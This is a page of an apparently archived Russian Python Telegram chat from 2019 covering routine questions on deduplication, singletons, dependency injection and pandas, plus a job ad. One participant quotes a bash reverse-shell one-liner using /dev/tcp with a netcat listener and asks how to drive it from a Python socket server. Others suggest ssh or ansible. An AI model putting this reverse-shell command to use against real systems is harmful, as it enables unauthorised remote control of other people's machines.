@ru_python

Страница 9441 из 9768
Alex
26.06.2019
12:08:03
Denis
26.06.2019
12:08:14
а что там?
Реклама нового языка

Виктор
26.06.2019
12:09:27
универсальный алгоритмический язык

D.
26.06.2019
12:09:39
У меня вопрос. Есть к примеру реверс шелл соединение между клиентом и сервером. Откройте два терминала: в первом введите nc -l 1234, а во втором - bash -i >/dev/tcp/127.0.0.1/1234 0>&1. Вы сможете контролировать bash клиента через сервер. Как организовать такое же, только чтобы сервер был не неткат, а скрипт на питоне?

Google
D.
26.06.2019
12:10:06
Запросы отправляються на bash-клиент, но они там почему ты не выполняются.

D.
26.06.2019
12:11:10
import socket
ясно, что socket.

Tishka17
26.06.2019
12:11:36
ясно, что socket.
Тогда в чем вопрос?

Tishka17
26.06.2019
12:12:02
Больше конкретики надо

Alex
26.06.2019
12:12:05
В этом
телепаты в отпуске

D.
26.06.2019
12:12:06
Сейчас скину код

Vitaly
26.06.2019
12:14:52
Парни, подскажите плз новичку: есть скрипт- принимаем файл, читаем, делаем срез, и мне нужно без проверки убрать дубликаты, я пробовал set, но он не подходит т.к. теряется порядок строк, в каком направлении смотреть? Скрипт: import sys lines_seen = list() for line in sys.stdin.readlines(): my_element = line[-25:] if my_element not in lines_seen: lines_seen.append(my_element) print(my_element.rstrip())

Google
Скрудж
26.06.2019
12:16:07
проверяешь есть ли строка в set, если нет - добавляешь.
+, это чтобы быстро. А если медленно, то просто проверить на вхождение в лист

Alex
26.06.2019
12:17:01
Artyem
26.06.2019
12:17:03
3.7
In[18]: l = [1, 4, 1, 2] In[19]: list(dict.fromkeys(l)) Out[19]: [1, 4, 2]

Alex
26.06.2019
12:17:31
я тебе уже сказал, не list(set(lines)), а цикл + проверка в set()

на pastebin \ gist \ dpsaste или GTFO

D.
26.06.2019
12:17:48
totally untested

Its me
26.06.2019
12:17:52
How to import a cpp file connecting database in python?

D.
26.06.2019
12:17:59
Если будут опечатки, ты поймёшь.

Dmitry
26.06.2019
12:18:07
Создаешь класс внутри инита другого класса?
внутри init.py да. именно что мне нужен синглтон



например

Dmitry
26.06.2019
12:19:21
и вот внутри init.py. и собсно мне хочется знать, на сколько такое решение ок

Alex
26.06.2019
12:19:22
+ для 3.7
тоже кстати вариант

Tishka17
26.06.2019
12:19:45
внутри init.py да. именно что мне нужен синглтон
Лично я предпочитаю чтобы init.py был максимально пустым и просто импортировал из других файлов все. Так меньше шансов нарваться на циклический импорт. Но я думал ты про инит класса

Если будут опечатки, ты поймёшь.
Попробуй ещё раз, на пастбин

D.
26.06.2019
12:20:35
Worlak
26.06.2019
12:20:41
Что можете порекомендовать чтоб поднять скилл в алгоритмах?

Google
Alex
26.06.2019
12:20:57
Опечаток нет
ты не понял? на pastebin код

D.
26.06.2019
12:21:33
кидаю

Worlak
26.06.2019
12:21:41
Tishka17
26.06.2019
12:21:59
Ёлка ?
adventofcode.com

D.
26.06.2019
12:22:07
https://pastebin.com/YkeQJzWR

Dmitry
26.06.2019
12:22:44
Лично я предпочитаю чтобы init.py был максимально пустым и просто импортировал из других файлов все. Так меньше шансов нарваться на циклический импорт. Но я думал ты про инит класса
я именно так и импортирую. То есть этот класс создаётся и потом я всюду использую его методы. Но импорчу именно как from Autorization import user_token. Внутри init пишу уже, что user_token = UserToken() и импорчу класс из файла user_token.py. У меня таких несколько есть, то есть там циклических зависимостей нет

Alex
26.06.2019
12:22:52
https://pastebin.com/YkeQJzWR
\n кто посылать будет?

D.
26.06.2019
12:23:29
\n кто посылать будет?
Думаешь добавлять в конце запроса \n?

Alex
26.06.2019
12:23:44
D.
26.06.2019
12:24:14
сам то как думаешь?
Я пробовал - не работало.

Alex
26.06.2019
12:24:22
D.
26.06.2019
12:24:48
ну ок. попробую ещё раз.

Dmitry
26.06.2019
12:25:01
Ээ. Синглтон?
ну, практически! один инстанс

Tishka17
26.06.2019
12:25:42
я именно так и импортирую. То есть этот класс создаётся и потом я всюду использую его методы. Но импорчу именно как from Autorization import user_token. Внутри init пишу уже, что user_token = UserToken() и импорчу класс из файла user_token.py. У меня таких несколько есть, то есть там циклических зависимостей нет
Короче, синглтон - это антипаттерн. Грубо - сейчас у тебя данные общие для всех, а завтра захочешь ВНЕЗАПНО, для одного из объектов их иметь свои. И уже не выпилишь. Более правильно - придерживаться DI. Но конечно, в определенных ситуация синглтон подойдёт, но если он не торчит за пределы модуля

D.
26.06.2019
12:25:55
плохо пробовал
ахахах. спасибо?

Google
D.
26.06.2019
12:26:58
Теперь ещё один вопрос. Как я могу запустить bash-скрипт, который лежит на сервере, на машине клиента?

Tishka17
26.06.2019
12:27:23
депенденси инджектор? ок, погуглю варианты
Не инжектор, просто принци инъекции. Если грубо - отдельно где-то создал экземпляр общих данных и во все классы при создании экземпляра его передаешь.

mold
26.06.2019
12:27:44
Комрады, спасайте , не могу додуматься, есть пустой датафрейм пандасовский, хочу в него мержить в цикле другие датафреймы , как правильно реализовать?

Tishka17
26.06.2019
12:27:52
Теперь ещё один вопрос. Как я могу запустить bash-скрипт, который лежит на сервере, на машине клиента?
Вообще, ты что творишь? Тебе поиграться или серьезное что-то хочешь?

D.
26.06.2019
12:28:23
Больше из рода серьезного, но веселья тут предостаточно)

Dmitri
26.06.2019
12:29:05
Народ, посоветуйте сокращатель ссылок не яндекс и не вк? С АПИ

Tishka17
26.06.2019
12:29:34
депенденси инджектор? ок, погуглю варианты
Прошу тебя, не бери такую вещь как DI-фреймворк. Их неосторожное использование приведет к тем же проблемам что синглтоны или глобальные переменные. Сначала сделай руками DI. Как только граф объектов станет слишком большим (ну штук 50), уже можешь смотреть что там автоматизировать можно

Больше из рода серьезного, но веселья тут предостаточно)
Если серьёзное, чем тебе ssh не угодил или ansible?

Alex
26.06.2019
12:30:27
ssh или ansible, как правильно отметил оратор выше

D.
26.06.2019
12:31:07
по-моему ты делаешь какую-то хрень
ааххаха... критичная оценка?

доделаю эту хрень, и попробую реализовать на ssh или ansible

Передать его текст на клиент
with open(blahblah) as f и т.д.?

Google
Tishka17
26.06.2019
12:34:06
пишут, что DI так же нарушает принцип инверсии зависимостей
Внедрение зависимости (англ. Dependency injection, DI) — процесс предоставления внешней зависимости программному компоненту. Является специфичной формой «инверсии управления» (англ. Inversion of control, IoC), когда она применяется к управлению зависимостями.

Alex
26.06.2019
12:34:10
DI это один из механизмов реализующих принцип инверсии зависимостей.

D.
26.06.2019
12:34:38
i'll be back?

Olga
26.06.2019
12:35:39
#вакансия #удаленка #python #lead Всем добрый день! Ищем Python Team Lead в нашу команду (диалоговая платформа с привлечением искусственного интеллекта). Условия: удаленная работа full-time, компенсация 200-350k RU + опционы и бонусы. Достойное железо, дополнительные мониторы и всё, что нужно для продуктивной работы. Чем предстоит заниматься: - Работать в продуктовой самодостаточной команде по гибким методологиям, тесно взаимодействовать с продактом, - Организация работы команды разработки, - Проектирование архитектуры продукта и новых микросервисов, - Разработка технически сложных решений или их отдельных компонентов, - Улучшение масштабируемости, производительности и надежности продукта. Нужны такие навыки: - Разработка архитектуры системы (обязательный уклон в микросервисы, понимание горизонтально масштабируемых систем), - Разработка архитектуры БД, - Глубокое понимание принципов объектно-ориентированного подхода, - Опыт управления документацией технических решений, - Декомпозиция пользовательских историй на технические задачи, - Разработка и уточнение технических требований на основе имеющихся бизнес-требований, - Оценка сроков и трудоемкости задач, умение ставить цели продукта в приоритет, - Управление и развитие команды, балансировка нагрузки на участников команды, - Умение работать в Agile командах (Scrum), понимание User Stories, понимание velocity и фокус-фактора. Стек: - Python, asyncio, aiohttp, - NodeJS, TypeScript, - ReactJS, GraphQL, - PostgreSQL, - Redis, RabbitMQ, Docker, Kubernetes, Nginx, Prometheus, Gitlab (VCS, CI/CD, Registry), Pytest, Selenium. Пишите пожалуйста в личку, всё расскажу! @pppmint

D.
26.06.2019
13:08:22
если команда не существует, то bash не отправляет output, т.е. ошибку. можно сделать чтобы он отправлял?

Ринат
26.06.2019
13:11:49
Есть короткий код, https://pastebin.com/daWUFJKC Не получается преобразовать текст из markdown в html, что не так? Где ошибка? for message in client.iter_messages(channel_cli,limit = 20): print(markdown2.markdown(message.text))

Если есть переносы, то теги форматирование не заменяется

Страница 9441 из 9768